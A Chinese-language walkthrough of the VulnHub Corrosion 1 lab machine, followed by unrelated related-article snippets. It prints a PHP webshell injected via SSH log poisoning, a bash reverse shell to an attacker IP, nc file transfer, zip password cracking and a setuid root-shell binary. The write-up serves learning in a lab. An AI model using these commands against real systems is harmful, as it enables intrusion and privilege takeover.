vulnhub靶场之corrosion靶场1

corrosion靶场1

前言

靶机:corrosion靶场1

攻击:kali

主机发现

使用arp-scan -l发现主机IP,这里直接查看虚拟机需要登录,不过官方并没有提供密码,所以,扫描出IP地址

在这里插入图片描述

信息收集

使用nmap查看端口及服务

在这里插入图片描述

访问80端口,apache2默认界面,访问页面源码,没有有价值的东西

在这里插入图片描述

目录扫描,扫出两个路径

在这里插入图片描述

访问bolg-post路径查看,

一段留言和一张图片,页面源码中提供当前路径下有image.jpg图像,其他暂无

在这里插入图片描述

那么对该路径下,再做一次扫描

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.1.30/blog-post/FUZZ -e .jpg,txt,html,png,xml 

在这里插入图片描述

发现两个重定向文件,访问uploads后发现还是原界面,一段文字,一张图,无其他有用东西

不过,访问archives,发现有一个php文件

在这里插入图片描述

下载,留着后面做分析,但是这里使用wget下载,发现是空的,打开发现,原来该PHP代码在网页中是一点资源都没有,全都是PHP代码,所以无法下载,不过记住了

访问另一个tasks,有一个task_todo.txt文件,直接下载并查看内容

在这里插入图片描述

发现文件内容是需要完成的任务,表示应该还没有完成的,不过这里需要记住,可能设置的是定时任务。

在这里插入图片描述

信息小结:

  1. 22端口采用OpenSSH 8.4p1 协议 2.0
  2. 80端口采用apache 2.4.46
  3. 系统为linux 4.x|5.x
  4. 80端口网址中包含名称randy
  5. 80端口/blog-post/archives目录下有一个PHP文件
  6. 80端口/tasks目录下有TXT文件

漏洞寻找利用

可以先使用hydra对名字randy尝试进行ssh爆破,先放在这里,然后去寻找其他的方法

爆破不行,考虑其他方法,发现之前那个PHP文件虽然不能下载,但是一般PHP文件都会有参数接收的。可能会有传参,使用burp进行爆破尝试,测试发现这个参数不管是什么都不会出错,说明不在乎

那么假设这里的参数可以是本地文件包含的话,进行测试,/etc/passwd

因为我这里虚拟机中的kali使用burp爆破有点卡,所以在物理机进行测试

这里确定是参数为file

在这里插入图片描述

可以使用,那么之前的tasks_todo.txt文件中有提到修改auth.log的权限,去访问看看,在其中可以看到登录信息,这是之前使用hydra爆破留下的痕迹,当时用户的用户名就是randy,可以发现这里留有痕迹

在这里插入图片描述

既然留下用户名登录时的痕迹,是否可以写一个webshell进入,然后连接成功呢, 进行测试

这里首先测试发现kali一直提示存在不合理的字符

ssh '<?php system($_GET['cmd']);?>'@192.168.1.30

所以,采用别名方法绕过,编辑~/.ssh/config文件,在其中编写

Hostname myserverHostname 192.168.1.30User	'<?php system($_GET['cmd']);?>'

这时候再使用ssh连接即可

ssh myserver

在这里插入图片描述

测试是否成功,注意前面是通过file的传参,所以这里要使用&调用cmd测试

在这里插入图片描述

尝试进行一个反弹shell

在kali上开启监听

nc -lvvp 9999
echo "bash -i >& /dev/tcp/192.168.1.16/9999 0>&1" | bash
然后把上面的echo一串进行URL编码处理

在这里插入图片描述

提权

使用find查看有无可用的SUID权限

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

发现有sudo,进行尝试,发现都不行

在这里插入图片描述

使用find寻找一些关键字吧,如userpassback等,因为数据太多,最终在back*搜索中,找到一个可疑目录

在这里插入图片描述

切换到目录发现有一个user开头的,很可以,进行下载

在这里插入图片描述

尝试解压,发现需要密码,测试发现靶机有nc可用,直接通过nc下载

在这里插入图片描述

在靶机上,通过nc把zip包发送给kali地址的7777端口
nc 192.168.1.16 7777 < user_backup.zip
在kali上开启,通过监听7777端口,并把传递信息保存在user_backup.zip
nc -lv -p 7777 > user_backup.zip

使用fcrackzip进行破解

fcarckzip -u -D -p /usr/share/wordlists/rockyou.txt user_backup.zip
-u 暴力破解
-D 字典模式
-p 指定字典

在这里插入图片描述

或者使用zip2john把zip文件改为john可识别的类型

在这里插入图片描述

然后使用john进行破解

在这里插入图片描述

知道密码后进行解压,获取ssh密钥以及密码和一个c语言编程

在这里插入图片描述

查看/home目录下有哪些用户

在这里插入图片描述

尝试使用ssh连接randy,并用获取到的密码登录

在这里插入图片描述

使用find查找SUID权限

find / -perm -u=s -type f 2>/dev/null

发现和上面一样,有一个sudo比较特殊,找到一个可以以root执行的文件,且当前用户不被允许以root运行/bin/bash

在这里插入图片描述

发现没有写权限,但是有s也就是特权,想起在之前解压文件时,提供了一个名称一样的文件

在这里插入图片描述

查看之前的文件,可以看到是进行一些设置,0表示特权,比如root就是0,整体就是设置提权的,然后执行下面的命令,如果在其中添加一个调动shell的是否可行

在这里插入图片描述

修改代码

#include<unistd.h>
#include<stdlib.h>	//c语言中的标准头文件
void main()
{ setuid(0);setgid(0);system("/bin/bash -i");system("cat /etc/hosts");system("/usr/bin/uname -a");}

然后在靶机上创建一个c文件,并把上面内容复制其中,发现vim不可用,可以使用其他的,如vi、nano

在这里插入图片描述

然后使用gcc命令进行编译,注意,编译出的文件要与可执行特权的文件名一致easysysinfo

而且可以看到这里的s特权已经没有了

在这里插入图片描述

但是使用sudo -l却表示,这里还是可以的

在这里插入图片描述

sudo执行文件,发现提权成功

在这里插入图片描述

总结

  1. 目录扫描时若发现有php类似脚本文件,可能会有参数传值,可以进行参数爆破
  2. 利用文件包含获取新的bash
  3. 压缩包的密码破解,可以使用工具fcrackzip或者john套件
  4. 提权时,仔细观察具有SUID的,假设sudo,这里就是通过sudo -l来查询,然后同名替换,执行提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/479063.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码随想录算法训练营day46|动态规划09

买卖股票的最佳时机四 之前是最多只能完成两笔交易&#xff0c;现在是至多可以买卖k次&#xff0c;那么状态数需要定为2*k1种&#xff0c;此时&#xff0c;就要分析多种情况的递推式 找到奇偶数交替的规则即可 class Solution { public:int maxProfit(int k, vector<int&g…

前端-Git

一.基本概念 Git版本控制系统时一个分布式系统&#xff0c;是用来保存工程源代码历史状态的命令行工具 简单来说Git的作用就是版本管理工具。 Git的应用场景&#xff1a;多人开发管理代码&#xff1b;异地开发&#xff0c;版本管理&#xff0c;版本回滚。 Git 的三个区域&a…

【软件介绍】变声工具RVC本地部署使用方法

RVC&#xff08;Real-Time Voice Conversion&#xff09;软件是一种能够实现实时声音转换的技术工具&#xff0c;它允许用户改变自己或他人的语音特征&#xff0c;比如音调、音色等&#xff0c;以达到变声的效果。这种技术在娱乐、游戏、内容创作等领域有着广泛的应用。下面是一…

IntelliJ IDEA 中,自动导包功能

在 IntelliJ IDEA 中&#xff0c;自动导包功能可以极大地提高开发效率&#xff0c;减少手动导入包所带来的繁琐和错误。以下是如何在 IntelliJ IDEA 中设置和使用自动导包功能的详细步骤&#xff1a; 一、设置自动导包 打开 IntelliJ IDEA&#xff1a; 启动 IntelliJ IDEA 并打…

【CANOE】【Capl】【RS232】控制串口设备

系列文章目录 内置函数&#xff0c;来控制传统的串口设备&#xff0c;比如继电器等 文章目录 系列文章目录前言一、控制串口二、自定义相关的参数RS232Configure**函数语法****函数功能****参数说明****返回值****示例代码** 三、回调函数的使用RS232OnSend**函数语法****函数…

AX58100+STM32使用FSMC接口,运行EtherCAT Slave协议栈

目录 简介环境硬件接线MCU一侧的初始化时钟FSMC外部中断timer 协议栈生成EtherCAT SlaveSlave infomationgenerichardwareEtherCAT State MachineSynchronisationApplicaitonProcessDataMailbox OD TOOL 协议栈移植协议栈集成和错误初步解决启动协议栈 应用开发集成到TWINCAT集…

IC数字后端实现之大厂IC笔试真题(经典时序计算和时序分析题)

今天小编给大家分享下每年IC秋招春招必考题目——静态时序分析时序分析题。 数字IC后端笔试面试题库 | 经典时序Timing计算题 时序分析题1&#xff1a; 给定如下图所示的timing report&#xff0c;请回答一下几个问题。 1&#xff09;这是一条setup还是hold的timing report?…

嵌入式系统与OpenCV

目录 一、OpenCV 简介 二、嵌入式 OpenCV 的安装方法 1. Ubuntu 系统下的安装 2. 嵌入式 ARM 系统中的安装 3. Windows10 和树莓派系统下的安装 三、嵌入式 OpenCV 的性能优化 1. 介绍嵌入式平台上对 OpenCV 进行优化的必要性。 2. 利用嵌入式开发工具&#xff0c;如优…

英伟达发布 Edify 3D 生成模型,可以在两分钟内生成详细的、可用于生产的 3D 资源、生成有组织的 UV 贴图、4K 纹理和 PBR 材质。

英伟达发布 Edify 3D 生成模型&#xff0c;可以利用 Agents 自动判断提示词场景中需要的模型&#xff0c;生成后将他们组合为一个场景。 Edify 3D 可以在两分钟内生成详细的、可用于生产的 3D 资源、生成有组织的 UV 贴图、4K 纹理和 PBR 材质。 相关链接 论文&#xff1a;htt…

抖音短视频矩阵源代码部署搭建流程

抖音短视频矩阵源代码部署搭建流程 1. 硬件准备 需确保具备一台性能足够的服务器或云主机。这些硬件设施应当拥有充足的计算和存储能力&#xff0c;以便支持抖音短视频矩阵系统的稳定运行。 2. 操作系统安装 在选定的服务器或云主机上安装适合的操作系统是关键步骤之一。推…

【Android+多线程】异步 多线程 知识总结:基础概念 / 多种方式 / 实现方法 / 源码分析

1 基本概念 1.1 线程 定义&#xff1a;一个基本的CPU执行单元 & 程序执行流的最小单元 比进程更小的可独立运行的基本单位&#xff0c;可理解为&#xff1a;轻量级进程组成&#xff1a;线程ID 程序计数器 寄存器集合 堆栈注&#xff1a;线程自己不拥有系统资源&#…

NLP论文速读(剑桥大学出品)|分解和利用专家模型中的偏好进行改进视觉模型的可信度

论文速读|Decompose and Leverage Preferences from Expert Models for Improving Trustworthiness of MLLMs 论文信息&#xff1a; 简介&#xff1a; 本文探讨的背景是多模态大型语言模型&#xff08;MLLMs&#xff09;&#xff0c;这类模型通过结合视觉特征和文本空间来增强语…

CentOS8.5.2111(7)完整的Apache综合实验

一、实验目标 1.掌握Linux系统中Apache服务器的安装与配置&#xff1b; 2.掌握个人主页、虚拟目录、基于用户和主机的访问控制及虚拟主机的实现方法。 二、实验要求 练习使用linux系统下WEB服务器的配置方法。 三、实验背景 重庆工程学院为筹备“重庆工程大学”特申请了c…

零基础3分钟快速掌握 ——Linux【终端操作】及【常用指令】Ubuntu

1.为啥使用Linux做嵌入式开发 能广泛支持硬件 内核比较高效稳定 原码开放、软件丰富 能够完善网络通信与文件管理机制 优秀的开发工具 2.什么是Ubuntu 是一个以桌面应用为主的Linux的操作系统&#xff0c; 内核是Linux操作系统&#xff0c; 具有Ubuntu特色的可视…

JVM类加载和垃圾回收算法详解

文章目录 JVM一、JVM运行流程1. JVM执行流程 二、JVM运行时数据区1. 程序计数器&#xff08;线程私有&#xff09;2. 虚拟机栈 &#xff08;线程私有&#xff09;3. 本地方法栈&#xff08;线程私有&#xff09;4. 堆&#xff08;线程共享&#xff09;5. 元空间&#xff08;线程…

iOS 17.4 Not Installed

0x00 系统警告 没有安装 17.4 的模拟器&#xff0c;任何操作都无法进行&#xff01; 点击 OK 去下载&#xff0c;完成之后&#xff0c;依旧是原样&#xff01; 0x01 解决办法 1、先去官网下载对应的模拟器&#xff1a; https://developer.apple.com/download/all/?q17.4 …

day04 企业级Linux安装及远程连接知识实践

1. 使用传统的网卡命名方式 在启动虚拟机时&#xff0c;按tab键进入编辑模式 添加命令&#xff1a; net.ifnames0 biosdevname0 这样linux系统会使用传统的网卡命名&#xff0c;例如eth0、eth1…… 2. 快照 做系统关键操作时&#xff0c;一定要使用快照(先将系统关机) 3.…

人体特定吸收率 (SAR) 分布建模

ANSYS HFSS 提供了一种建模 SAR 分布的方法&#xff01; 2020 年对我们所有人来说都是充满挑战的一年&#xff0c;由于 COVID 19 限制和居家隔离&#xff0c;许多工程师不得不推迟开发时间表。ANSYS HFSS 为所有工程师提供了一种在家安全工作的好方法。隔离期间&#xff0c;您…

.NET9 - Swagger平替Scalar详解(四)

书接上回&#xff0c;上一章介绍了Swagger代替品Scalar&#xff0c;在使用中遇到不少问题&#xff0c;今天单独分享一下之前Swagger中常用的功能如何在Scalar中使用。 下面我们将围绕文档版本说明、接口分类、接口描述、参数描述、枚举类型、文件上传、JWT认证等方面详细讲解。…

计算(a+b)/c的值

计算&#xff08;ab&#xff09;/c的值 C语言代码C语言代码Java语言代码Python语言代码 &#x1f490;The Begin&#x1f490;点点关注&#xff0c;收藏不迷路&#x1f490; 给定3个整数a、b、c&#xff0c;计算表达式(ab)/c的值&#xff0c;/是整除运算。 输入 输入仅一行&…